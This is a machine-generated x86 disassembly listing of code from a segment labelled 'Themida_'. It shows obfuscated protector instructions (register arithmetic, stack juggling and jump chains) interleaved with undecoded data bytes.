		sub	ecx, 753E3911h
		add	ebx, 6C492B38h
		sub	ebx, 453E628Ah
		jmp	loc_56835C
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FFC111E9h, 0DCB353FFh, 0D828D9B0h, 804BB55Bh, 0F58076E5h
		dd 80DDF61Ah, 0C5282AC5h, 28750458h, 66752CE8h,	57240C8Bh
		dd 0C781E789h, 4, 4EF81h, 11E90000h, 87FFFEE1h,	248B2414h
		dd 1D6E6824h, 3C890000h, 68E78924h, 1FEEh, 0E9240C89h
		dd 1D5h, 0F52D95BAh, 794E972h, 0DE010000h, 0FFB4A8E9h
		dd 0EC8352FFh, 0FF8BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5711E2:				; CODE XREF: Themida_:0056D69Cj
		mov	ebp, 56297616h
		jmp	loc_5662D4
; ---------------------------------------------------------------------------
		dd 81D5874Ah, 0BAB5B7F5h, 0E9E98986h, 0FFFED7AAh, 4247C01h
		dd 51535E5Fh, 8904EC83h, 0EBBE2434h, 8167F32Ch,	5424C8CEh
		dd 0C6814E47h, 39712C4Eh, 602CF681h, 0F189D7C6h, 8BCB895Eh
		dd 0C483240Ch, 5E3C104h, 4EC81h, 2C890000h, 7E51BD24h
		dd 0F5813CC5h, 16FDA3D5h, 0E95DEB01h, 0FFFF75F6h
; ---------------------------------------------------------------------------


loc_57124C:				; CODE XREF: Themida_:0056235Ej
		mov	ebx, 1EF35176h
		shl	ebx, 3
		xor	ebx, 0FD278470h
		xor	eax, ebx
		pop	ebx
		sub	eax, 0F563026Fh
		add	ebp, eax
		jmp	loc_569C76
; ---------------------------------------------------------------------------


loc_571269:				; CODE XREF: Themida_:00566036j
		or	esi, 28656F35h
		xor	esi, 29593886h
		jmp	loc_5632F3
; ---------------------------------------------------------------------------


loc_57127A:				; CODE XREF: Themida_:005626F8j
		push	5011h
		mov	[esp], ebp
		push	18EEh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_56F3E6
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF29EEh, 5C241C87h, 0FEE95553h, 31FFFF9Ch, 8FE95AD1h
		dd 55FFFF9Fh, 52EEE957h, 96B8FFFFh, 0F7753461h,	0C1D8F7D0h
		dd 0D0F702E8h, 10FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5712D1:				; CODE XREF: Themida_:0056F87Ej
		not	edx
		xchg	edx, [esp]
		pop	eax
		jmp	loc_56BDDF
; ---------------------------------------------------------------------------
		dd 6963E981h, 40E94928h, 59FFFF26h, 4C781h, 0FD680000h
		dd 0E9000065h, 0FFFF39A2h, 0E906E5C0h, 0FFFFF73Ch
; ---------------------------------------------------------------------------


loc_571300:				; CODE XREF: Themida_:0056C268j
		pop	edi
		jmp	loc_56A001
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 9CC88424h, 0FEBBB4E9h, 0A52D40FFh, 0E9353A03h, 0FFFFDB59h
		dd 0E9C052B1h, 0E9D9F608h, 0FFFEC11Fh
; ---------------------------------------------------------------------------


loc_571328:				; CODE XREF: Themida_:005657B1j
		sub	ecx, 48A34BFCh
		add	edi, 5604397Ch
		sub	edi, 25CC1328h
		sub	edi, 46EF2C8Dh
		add	edi, ecx
		jmp	loc_571C30
; ---------------------------------------------------------------------------
		db 89h
		dd 5D54242Ch, 63BF5753h, 0BB170B41h, 170B4167h,	15FFB31h
		dd 2EE95BDDh, 83FFFFC7h, 8F042404h, 4832404h, 148B0424h
		dd 17336824h, 4890000h,	5E08924h, 4, 405h, 0D7EBE900h
		dd 0F581FFFEh, 685A5763h, 0B82E9h
		db 0
; ---------------------------------------------------------------------------


loc_571395:				; CODE XREF: Themida_:00562519j
		mov	eax, [esp]
		jmp	loc_56CA37
; ---------------------------------------------------------------------------
		db 68h,	36h, 15h
		dd 2C890000h, 71D9BD24h, 0E989268Eh, 1EF1815Dh,	0C17FD72Bh
		dd 0F18105E1h, 2B2B58E4h, 4EC81h, 14890000h, 535ABA24h
		dd 0CA817C3Bh, 4C0F0EEEh, 0FF36D1E9h, 515DB9FFh, 0E9C10B11h
		dd 1ED7E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5713E2:				; CODE XREF: Themida_:0055FE18j
		add	ecx, edx
		push	edi
		mov	edi, 2A256888h
		xchg	esi, edi
		jmp	loc_56A789
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0C7h
		dd 45276849h, 0D51CE94Dh, 5166FFFEh, 0F2E9F9B5h, 25FFFEC1h
		dd 5F4D0F1Ch, 134E68h, 24148900h, 480512BAh, 5AD02906h
		dd 0E958C201h, 0FFFF9334h, 8B5EF531h, 0E9502414h, 0FFFF7B8Fh
; ---------------------------------------------------------------------------


loc_571430:				; CODE XREF: Themida_:00568721j
		mov	ebp, esp
		push	edx
		mov	edx, 1B4A693Eh
		and	edx, 3F704C26h
		jmp	loc_565F55
; ---------------------------------------------------------------------------


loc_571443:				; CODE XREF: Themida_:0056613Cj
		pop	esi
		jmp	loc_5601CC
; ---------------------------------------------------------------------------
		db 68h,	90h, 7Dh
		dd 97E90000h, 56FFFF62h, 7B4ABF57h, 0CF812DFDh,	0EB92986h
		dd 0D7F7DFF7h, 0C01EC781h, 0FE89FD8Eh, 0C668465Fh, 0E9000073h
		dd 0FFFFAFEBh, 121EC1BDh, 8BEA0103h, 8950242Ch,	14E952E0h
		dd 83FFFFDBh, 8B042404h, 0C483241Ch, 4B95104h, 1000000h
		dd 0EC8159CBh, 4, 0E9240C89h, 0FFFFC9C7h, 240C8B66h, 2C481h
		dd 23040000h, 34FF0F04h, 0CDECE924h, 0E981FFFFh, 7F1C7FAEh
		dd 3FFAE181h, 31E92450h
		db 0C1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5714D3:				; CODE XREF: Themida_:0056745Bj
		mov	[esp], ebx
		push	edi
		mov	edi, 65100D60h
		shr	edi, 8
		neg	edi
		shl	edi, 8
		sub	edi, 9AEFF2FCh
		jmp	loc_55D8A4
; ---------------------------------------------------------------------------


loc_5714EF:				; CODE XREF: Themida_:0055D8ABj
		mov	edi, ebx
		jmp	loc_56199D
; ---------------------------------------------------------------------------


loc_5714F6:				; CODE XREF: Themida_:00565BADj
		or	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_565A28
; ---------------------------------------------------------------------------
		db 1
		dd 5F08247Ch, 81241C8Bh, 4C4h, 0EC815B00h, 4, 0E9240C89h
		dd 0FFFF20BAh, 0CD45E955h, 8146FFFEh, 421673E6h, 59EE8162h
		dd 81285A54h, 2155D1EEh, 43EE8172h, 185845Ch, 0EF835EF7h
		dd 0C03E904h, 148B0000h, 4C48324h, 0FF1C6F09h, 32E92434h
		db 0D3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57155F:				; CODE XREF: Themida_:0056C1C8j
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, 3D513B1Fh
		add	eax, 4EC679F0h
		xor	eax, 41401141h
		or	eax, 59052670h
		xor	eax, 0C428AFA5h
		jmp	loc_55D877
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4B325E0Ah, 67E8E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57158E:				; CODE XREF: Themida_:0056D16Cj
		xor	edx, 0E689AF0Bh
		jmp	loc_56BD55
; ---------------------------------------------------------------------------
		db 29h,	3Ch, 24h
		dd 0ACC7815Fh, 813C890Bh, 0F11109C2h, 81FA0140h, 0F11109EAh
		dd 243C8B40h, 57E68956h, 4BFh, 9222E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5715C2:				; CODE XREF: Themida_:0056036Aj
		shl	ebp, 8
		add	ebp, 36535B5Fh
		sub	ebp, 2B0F941Dh
		mov	eax, ebp
		jmp	loc_5690F0
; ---------------------------------------------------------------------------
		dd 74D0C381h, 0EC8138B3h, 4, 0BF243C89h, 66895CA6h, 5D5FFB29h
		dd 0FEC09CE9h, 0B60F66FFh, 0C9686600h, 21B2E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571602:				; CODE XREF: Themida_:00562BFAj
		add	edi, 4
		sub	edi, 4
		jmp	loc_55F54D
; ---------------------------------------------------------------------------
		db 81h
		dd 50A24BF3h, 4AC6810Ah, 2929C908h, 4AEE81DEh, 5B29C908h
		dd 2D2C68h, 241C8900h, 557CC3BBh, 39EE8176h, 12B794Eh
		dd 39C681DEh, 5B2B794Eh, 5EE9FE01h, 89FFFEDCh, 405E0h
		dd 3E90000h, 31FFFFAAh,	14332414h, 0E1D6E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571662:				; CODE XREF: Themida_:0056C0D1j
		push	1EECh
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 1DF32E9Fh
		sub	ecx, 0CEC7547h
		xor	ecx, 12E555B8h
		jmp	loc_56B4A7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8A68240Ch, 8900007Ch, 0DCE92414h, 0F7FFFFBCh, 96F181D1h
		dd 0E9FD7897h, 0FFFFBE84h, 24048F5Dh, 0F24248Bh, 8E68C8BFh
		dd 89000028h, 6E9240Ch,	5AFFFEB8h, 0FF54A1E9h, 0B7FBE9FFh
		dd 248BFFFEh, 24048924h, 468E089h, 89000037h, 0E952240Ch
		dd 0FFFF8528h, 42474FFh, 4E8E9h, 40256800h, 0B1680000h
		dd 54000008h, 8124048Fh, 42404h, 6AE90000h, 5CFFFFE6h
		dd 89240489h, 405E0h, 68560000h, 2, 60EFE95Eh, 5250FFFFh
		dd 886E0FBAh, 0D1C5E914h, 0EDC1FFFEh, 14F75508h, 0E9525D24h
		dd 0FFFF9C4Fh, 0BA241489h, 478B7E9Bh, 6A6AEA81h, 0C2813AC1h
		dd 0F7855833h, 0DAE9D129h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57174F:				; CODE XREF: Themida_:0056342Aj
		add	ebp, offset byte_5D542B
		jmp	loc_569EC8
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 877FE959h, 0D5F7FFFFh, 0FF30C7E9h, 0A5B652FFh, 53D8C680h
		dd 0CB800BB3h, 2AEB80E1h, 0E95BDE28h, 0FFFF5618h, 0FCE9018Bh
		dd 59FFFFD1h, 240CFF51h, 454AE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571792:				; CODE XREF: Themida_:00567A78j
		mov	ecx, 58C10698h
		shr	ecx, 6
		jmp	loc_568BAE
; ---------------------------------------------------------------------------


loc_57179F:				; CODE XREF: Themida_:0056F5B4j
		push	edx
		mov	edx, 711869BFh
		mov	edi, edx
		pop	edx
		push	602Ch
		mov	[esp], edi
		mov	edi, 62600A90h
		jmp	loc_564B26
; ---------------------------------------------------------------------------


loc_5717BA:				; CODE XREF: Themida_:0055E595j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	74DAh
		mov	[esp], ecx
		jmp	loc_55F0D7
; ---------------------------------------------------------------------------


loc_5717D1:				; CODE XREF: Themida_:00567F35j
		pop	ecx
		xor	al, dl
		jmp	loc_563A82
; ---------------------------------------------------------------------------


loc_5717D9:				; CODE XREF: Themida_:0055D872j
		add	edx, 1924A555h
		sub	ebx, edx
		jmp	loc_560668
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 795B6A85h, 3792EA81h, 0F22961F3h, 3792C281h,	506861F3h
		dd 8900004Bh, 82B9240Ch, 0E9363A7Bh, 0A71h, 24122C35h
		dd 4B883547h, 0D8F71539h, 0FFFBEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57181D:				; CODE XREF: Themida_:00561EA0j
		sub	bl, 0E5h
		add	bl, 51h
		jmp	loc_56912B
; ---------------------------------------------------------------------------
		dd 38FAEE81h, 5EE97F1Eh, 52FFFF8Fh, 4306B5BAh, 6D926828h
		dd 2C890000h, 0C546BD24h, 0EA29D546h, 0FF57D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57184D:				; CODE XREF: Themida_:005642EDj
		mov	ecx, [edx]
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 72A6525Fh
		jmp	loc_5660BC
; ---------------------------------------------------------------------------


loc_57186D:				; CODE XREF: Themida_:0056D5F4j
		sub	esi, eax
		pop	eax
		jmp	loc_56B4CF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 83515659h, 48904ECh,	0DDB1E924h, 5166FFFEh, 0FFD8E4E9h
		dd 4BDFFh, 0EE290000h, 2434335Dh, 0FFABFBE9h, 2F3E35FFh
		dd 0E952194Bh, 0FFFFD0A0h, 25BCEF81h, 0D7F7415Ch, 0E3B95147h
		dd 0E9556A26h, 0FFFF3822h
; ---------------------------------------------------------------------------


loc_5718BC:				; CODE XREF: Themida_:0055F68Ej
		push	ecx
		jmp	loc_55DA1F
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 15B96624h, 66536677h, 668B08BBh, 0F3AE981h, 0FF2BF7E9h
		dd 48B66FFh, 0FF545224h, 525A2434h, 0E950E289h,	94Dh
; ---------------------------------------------------------------------------


loc_5718EC:				; CODE XREF: Themida_:0056A5FAj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5686CB
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 0FFED3BE9h, 4C281FFh, 87000000h, 0E95C2414h,	0FFFFD470h
		dd 8F8AF781h, 8952F0CAh, 4C281E2h, 83000000h, 0EFE904EAh
		dd 89FFFF63h, 6855241Ch, 57100CA2h, 0FF1E46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571935:				; CODE XREF: Themida_:005609EAj
		push	ebp
		jmp	loc_567570
; ---------------------------------------------------------------------------


loc_57193B:				; CODE XREF: Themida_:0056354Ej
		mul	ecx
		jmp	loc_560BC5
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 0F6C7FE9Eh, 7AC780D7h, 285BFE30h, 148B66F3h,	2C48124h
		dd 0F000000h, 34FFC0B6h, 0B55FE987h, 0E2C1FFFEh, 99E28102h
		dd 0E9169771h, 0FFFFB298h
; ---------------------------------------------------------------------------


loc_571974:				; CODE XREF: Themida_:0056FFEDj
		sub	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 3Fh, 0B5h
		dd 8B66FFFEh, 54522404h, 0FF1D07E9h, 7949BBFFh,	0E1E91765h
		dd 89FFFFC0h, 4C281E2h,	0E9000000h, 0FFFF935Ah
; ---------------------------------------------------------------------------


loc_5719A8:				; CODE XREF: Themida_:00564029j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		push	esi
		mov	esi, 3EC09C2h
		add	eax, esi
		jmp	loc_568E0F
; ---------------------------------------------------------------------------
		dd 3DC6815Eh, 4E3C034Eh, 0FFF632E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5719DD:				; CODE XREF: Themida_:00560BE3j
		push	5117h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		push	edi
		push	4E9B632Fh
		jmp	loc_564404
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 2Fh
		dd 0C109AD73h, 0C28103EAh, 1171149Dh, 0FFDFC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571A0D:				; CODE XREF: Themida_:00570E32j
		xor	ecx, edx
		jmp	loc_568A05
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 5C241487h, 88FE8852h,	8B5A8734h
		dd 0FBE9241Ch, 68FFFF2Bh, 5DC2h, 0BE243489h, 5A0D5137h
		dd 389AF681h, 0A2E94F1Bh, 0E9FFFEB4h, 0FFFEB475h
; ---------------------------------------------------------------------------


loc_571A50:				; CODE XREF: Themida_:00560BCEj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55FE67
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 6D574EC7h, 81241C8Bh, 4C4h, 52D6F700h, 7165E2BAh, 74EA815Ch
		dd 810F0C56h, 0EE012FE2h, 0FE97E952h, 0F781FFFEh, 191C6B16h
		dd 34FFFB01h, 0D5D0E924h, 2C89FFFEh, 4EC8324h, 0B8240489h
		dd 58CD2A2Ah, 0FFF571E9h, 0D80166FFh, 0FF5E2DE9h, 0F7F581FFh
		dd 8162B96Ah, 0D94722CDh, 34CD813Eh, 0E902A747h, 0FFFFBD19h
		dd 56F6EA81h, 81591189h, 2B278CEAh, 1BC2814Ah, 0E94F5340h
		dd 0FFFEB3E5h, 0E94CEB80h, 0FFFEDC8Bh, 24048B66h, 2C481h
		dd 0F4800000h, 902AE931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571AFA:				; CODE XREF: Themida_:00570FFAj
		push	edx
		push	ecx
		mov	ecx, 1C1135BEh
		jmp	loc_55FD4B
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	9E904C6h, 66FFFF8Eh, 0F98EE959h
		dd 0EA80FFFFh, 8B545001h, 0C4812404h, 4, 405h, 0BB06E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571B36:				; CODE XREF: Themida_:0057067Aj
		add	ebp, 0ACC8A486h
		sub	esi, ebp
		pop	ebp
		jmp	loc_55D663
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	0EC83240Ch, 24148904h
		dd 76E955B6h, 87FFFEC2h, 835C2434h, 148904ECh, 80A0B624h
		dd 0DEF6FFC6h, 0FFD96BE9h, 4E6C1FFh, 1F3BC681h,	0C8E93E58h
		dd 55FFFEDFh, 9B132DBDh, 74CD812Ah, 8138EE24h, 0FF3779EDh
		dd 246C013Ah, 242C8B04h, 0FFFCD0E9h, 0E9EA81FFh, 14BE467h
		dd 0E9C281F2h, 814BE467h, 4ECh,	241C8900h, 0ECFBE955h
		dd 0D7F7FFFFh, 0FFB8F781h, 0FD29A6CEh, 0FEED8DE9h, 243C8BFFh
		dd 0FF33F1E9h, 4C481FFh, 53000000h, 42E9EB88h, 83FFFF7Dh
		dd 148904ECh, 384EE924h, 0DE89FFFFh, 0E9241C8Bh, 0FFFFDA76h
		dd 72C2CD81h, 62E95363h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571C07:				; CODE XREF: Themida_:00570C49j
		add	ebx, 0AB096Ch
		mov	edx, [esp]
		push	6E6Fh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55F1B2
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF49A9h
; ---------------------------------------------------------------------------


loc_571C30:				; CODE XREF: Themida_:00571342j
		add	edi, 46EF2C8Dh
		add	edi, 25CC1328h
		push	esi
		mov	esi, 5F410091h
		shl	esi, 2
		neg	esi
		inc	esi
		xor	esi, 53A54AA5h
		not	esi
		push	7A0Ch
		mov	[esp], edx
		mov	edx, 78A5719Bh
		xor	esi, edx
		pop	edx
		jmp	loc_55D934
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 89000000h,	1E92414h, 0F6FFFFF3h, 0E9C9FED9h
		dd 0FFFF2C77h
; ---------------------------------------------------------------------------


loc_571C80:				; CODE XREF: Themida_:0055D431j
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------


loc_571C85:				; CODE XREF: Themida_:0056B3FBj
		xor	ebx, ecx
		pop	ecx
		mov	edi, ebx
		pop	ebx
		push	3B7Dh
		mov	[esp], edx
		jmp	loc_56B92D
; ---------------------------------------------------------------------------
		dd 0E580B2B5h, 80CDFE44h, 506663CDh, 0FFB725E9h, 0E3C15BFFh
		dd 4EC8305h, 0BE243489h, 32A70864h, 0FF826BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571CBD:				; CODE XREF: Themida_:0055E709j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56C421
; ---------------------------------------------------------------------------
		dd 0AF45E959h, 0EC81FFFFh, 4, 89243C89h, 4C781E7h, 0E9000000h
		dd 0FFFF67F4h, 5782CD81h, 0ED81036Eh, 2697172Dh, 0F41AED81h
		dd 0E9316C77h, 0FF2276E9h, 479CBAFFh, 0AEE94986h, 68FFFF96h
		dd 1E00h, 0FEE5FAE9h, 5BDA01FFh, 8904EC83h, 2BD242Ch, 1000000h
		dd 14335DEAh, 75ABE924h, 4ACFFFFh, 1A6866B8h, 1C896635h
		dd 0E314E924h, 24FFFEh,	0FFDBBFE9h, 2CD000FFh, 2CD504D5h
		dd 0EC835A35h, 24048904h, 0E953D4B4h, 0FFFFC988h, 182CF828h
		dd 0FFB8EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571D65:				; CODE XREF: Themida_:005668B7j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_566DC1
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 53h
		dd 48049FBBh, 5BDA2908h, 0FF25DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571D7D:				; CODE XREF: Themida_:005644EAj
		mov	ebx, 5A3D4EA6h
		and	ebx, 290A2176h
		sub	ebx, 8080022h
		sub	ebp, 1E2F570Eh
		add	ebp, ebx
		add	ebp, 1E2F570Eh
		pop	ebx
		jmp	loc_56010E
; ---------------------------------------------------------------------------
		dw 5558h
		dd 0FF48E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571DA9:				; CODE XREF: Themida_:0055E87Fj
		neg	ebp
		neg	ebp
		not	ebp
		jmp	loc_566694
; ---------------------------------------------------------------------------


loc_571DB4:				; CODE XREF: Themida_:00563555j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_567813
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 4B85024h, 1000000h, 58042444h, 4EC815Eh, 89000000h
		dd 46682414h, 89000012h, 4B9240Ch, 89000000h, 0D60159CAh
		dd 4EC835Ah, 0FF6A34E9h, 243489FFh, 0FFA0C8E9h,	24048BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_56C6DF
; ---------------------------------------------------------------------------
		db 56h
		dd 612B5BBEh, 5EF72967h, 0FF1EEFE9h, 0ADC681FFh, 1622867h
		dd 0ADEE81DEh, 0E9622867h, 0FFFEB1FEh
; ---------------------------------------------------------------------------


loc_571E30:				; CODE XREF: Themida_:0056BDCDj
		mov	ebx, 3822752Ah
		push	eax
		mov	eax, 357B2C61h
		jmp	loc_56196D
; ---------------------------------------------------------------------------
		dd 348BF721h, 4C48324h,	68h, 243C2900h,	0FFAFB7E9h, 241433FFh
		dd 0E181495Ch, 76B335AEh, 0FC8CE981h, 0C831D9D2h, 0FF65BEE9h
		dd 241C89FFh, 0C3815B54h, 4, 2BE56h, 0F3010000h, 241C875Eh
		dd 6FEB805Ch, 80AFEB80h, 0C300E7C3h, 80E7EB80h,	0A868AFC3h
		dd 89000030h, 6FB42404h, 8058E300h, 0C1E95EC3h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571EAB:				; CODE XREF: Themida_:00570228j
		add	ecx, 4B6B8196h
		add	ebx, ecx
		pop	ecx
		jmp	loc_564FF1
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0D8010000h, 8CB3E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571EC6:				; CODE XREF: Themida_:0056F00Ej
		pop	edi
		inc	esi
		shr	esi, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55F0AC
; ---------------------------------------------------------------------------
		db 21h,	0C8h, 8Bh
		dd 0ACE9240Ch
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571EE3:				; CODE XREF: Themida_:00566B31j
		mov	ebp, 4
		mov	esi, ebp
		jmp	loc_56DD38
; ---------------------------------------------------------------------------
		db 81h
		dd 3D0156EAh, 150E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571EFA:				; CODE XREF: Themida_:00572196j
		sub	esp, 4
		mov	[esp], edx
		push	1
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_570E19
; ---------------------------------------------------------------------------
		db 81h
		dd 0BC6AACF5h, 8BE82918h, 0C483242Ch, 2434FF04h, 0FF57E0E9h
		dd 240C89FFh, 0FF78BEE9h, 0E95159FFh, 0FFFF51BEh, 2474FF53h
		dd 48F5B04h, 0A926E924h, 8C05FFFFh, 5D73D858h, 0A2B422Dh
		dd 4AA7E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571F5A:				; CODE XREF: Themida_:005708B8j
		neg	ebx
		push	edx
		mov	edx, 8EAC2855h
		add	ebx, edx
		pop	edx
		xor	ecx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 7A9C0FBCh
		dec	ecx
		shl	ecx, 5
		not	ecx
		inc	ecx
		add	ecx, 920505AEh
		sub	eax, ecx
		jmp	loc_569086
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 427D06B2h, 0FED27BE9h, 14335BFFh, 24143124h,	0FFFEBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571F99:				; CODE XREF: Themida_:0056F35Fj
		pop	edi
		jmp	loc_56E3BD
; ---------------------------------------------------------------------------
		db 4Fh
		dd 0C781D7F7h, 9E306F23h, 0FEF530E9h, 241433FFh, 33241431h
		dd 53E92414h, 31FFFFEDh, 0D9295AD3h, 0FF0EB3E9h, 79C680FFh
		dd 0FF2080E9h, 6BC681FFh, 522AE74Dh, 0C126E3BAh, 5AD60153h
		dd 0E924148Bh, 0FFFF01D8h
; ---------------------------------------------------------------------------


loc_571FE4:				; CODE XREF: Themida_:0056F150j
		mov	[esp], ebp
		mov	ebp, 4CD610E2h
		jmp	loc_563511
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 2055Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_572216
; ---------------------------------------------------------------------------
		dw 33BBh
		dd 0E9532927h, 0FFFFC61Ah
; ---------------------------------------------------------------------------


loc_57200C:				; CODE XREF: Themida_:00568A00j
		mov	ebx, [esp]
		jmp	loc_562ED5
; ---------------------------------------------------------------------------
		dd 7C148BB9h, 244C0177h, 6C815908h, 241D0424h, 1FE96993h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57202B:				; CODE XREF: Themida_:0055FCECj
		push	esi
		mov	esi, 0FD03AC04h
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		push	36B8h
		jmp	loc_567997
; ---------------------------------------------------------------------------
		dd 0E9585F50h, 0FFFFA283h, 39522FB8h, 0FFF8292Dh, 0D8E92434h
		dd 49FFFF9Dh, 0FFEFFFE9h, 7CEA81FFh, 58197D23h,	0FF92C3E9h
		dd 6DE95DFFh, 89FFFFB6h, 1D3559C8h, 817FEA28h, 0AE40B7C3h
		dd 81C30122h, 0AE40B7EBh, 8B665822h, 8682414h, 89000063h
		dd 0E9542404h, 0FFFF3009h, 83243C8Bh, 0C48304C4h, 952CE904h
		dd 0C381FFFFh, 2293663Dh, 0FFEFF5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5720BD:				; CODE XREF: Themida_:0056853Fj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3647h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_562D3F
; ---------------------------------------------------------------------------


loc_5720F4:				; CODE XREF: Themida_:005661DEj
		push	ebx
		mov	ebx, 48E11A88h
		add	eax, ebx
		pop	ebx
		add	eax, 0AB1DC576h
		mov	edx, eax
		jmp	loc_57005F
; ---------------------------------------------------------------------------
		db 51h,	5Ah, 8Bh
		dd 9568240Ch, 89000067h, 0E0892404h, 405h, 4C08300h, 0FECB10E9h
		dd 241C31FFh, 0E9241C33h, 0FFFF61C1h, 42F1E981h, 0C2E92A24h
		dd 57FFFFDCh, 0FED9B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572141:				; CODE XREF: Themida_:0056DE13j
		neg	ebp
		shr	ebp, 6
		xor	ebp, 6F2545D5h
		jmp	loc_56EF57
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 8924248Bh, 88BE2434h, 81424335h, 6C6698CEh, 0E6C14622h
		dd 46D6F704h, 0BCB6E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572172:				; CODE XREF: Themida_:00567A0Aj
		sub	eax, 0E5D3249h
		add	eax, ebx
		add	eax, 0E5D3249h
		add	eax, 5D03089Ah
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56AFD7
; ---------------------------------------------------------------------------


loc_57218E:				; CODE XREF: Themida_:0056BE7Aj
		pop	edi
		jmp	loc_56302B
; ---------------------------------------------------------------------------


loc_572194:				; CODE XREF: Themida_:0055FE20j
		shl	edx, 1
		jmp	loc_571EFA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0FF3F35E9h, 240C8BFFh, 4C481h, 4870000h
